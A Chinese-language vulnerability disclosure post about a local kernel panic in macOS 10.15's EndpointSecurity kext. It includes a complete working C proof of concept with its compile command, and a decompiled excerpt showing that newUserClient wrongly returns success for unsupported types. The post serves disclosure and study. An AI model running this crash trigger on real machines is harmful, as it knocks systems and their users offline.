作者:Peterpan0927
原文链接:https://peterpan0927.github.io/2020/02/20/local-DOS-on-latest-macOS/#more

前言

这个漏洞的具体表现形式为空指针解引用造成的kernel panic,由于苹果的安全团队评估之后认为不能造成具体的安全隐患,所以在这里放出来漏洞描述和poc,希望安全界的同行们能够互相学习交流。

背景知识

  1. 了解苹果的IOKit机制,可以参考OS X和iOS内核编程
  2. 用户态和内核扩展的交互

Poc

下面的代码在macOS 10.15 betamacOS 10.15.2都是可以触发的,最新版本上还没有测试过:

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <IOKit/IOKitLib.h>


int main(int argc,char *argv[]){  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("EndpointSecurityDriver"));  

if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 1;
}
printf("got service: %x\n", service);
kern_return_t err;


// open a userclient: 
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 8, &conn);
if (err == KERN_SUCCESS){
    printf("get user client connection\n");
} 
//input data
uint64_t input[10];
uint32_t value=0x0;
memset(input,0,sizeof(input));

printf("got userclient connection: %x\n", conn);
err = IOConnectCallMethod(conn,0x0,input,value,NULL,0,NULL,NULL,NULL,NULL);
if(err != KERN_SUCCESS) printf("no\n"); 
else printf("success\n");
IOServiceClose(conn); 


return 0;
}

编译指令:

cc dos.c -framework IOKit -o dos

接下来运行一下就可以直观的看到效果了,下面就来分析一下问题所在

问题发生点

通过对内核扩展的代码审计我们可以很容易的发现这其实是一个逻辑问题,EndPointSecurity.kext主动的重写了newUserClient这个方法,但如果type参数不是0或1的话依然会返回KERN_SUCCESSKERN_SUCCESS就会让内核错误的认为函数调用成功,从而执行接下来的步骤,但事实上对应的client并没有得到成功的创建,所以在之后用到client事实上在内存中是并不存在的,最终就会表现为空指针报错,我将重写过的函数关键部分摘出来如下:

__int64 __fastcall EndpointSecurityDriver::newUserClient(__int64 a1, IOUserClient *a2, const char *a3, int a4, __int64 a5, EndpointSecurityExternalClient **a6)
{
v8 = a4;
...if ( v8 == 1 ){
   ...
}
if ( v8 )
    goto LABEL_20;
...
v10 = 0;
LABEL_20:
   if ( (unsigned int)gLogLevel_ >= 4 )
    _os_log_internal(
      &dword_0,
      &_os_log_default, 
      2LL,     _ZZN22EndpointSecurityDriver13newUserClientEP4taskPvjP12OSDictionaryPP12IOUserClientE11_os_log_fmt__12_,  
      "virtual IOReturn EndpointSecurityDriver::newUserClient(task_t, void *, UInt32, OSDictionary *, IOUserClient **)");
      return v10;
}

也就是说我们在用户态的调用IOServiceOpen的时候只要传递的type参数不是0或1就会触发panic,从这个角度我们也可以发现苹果的一些代码质量并不是很高,从这些角度出发,我们可能会发现一些意想不到的问题,针对薄弱点进行攻击相对来说是一种省时省力的方式。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1125/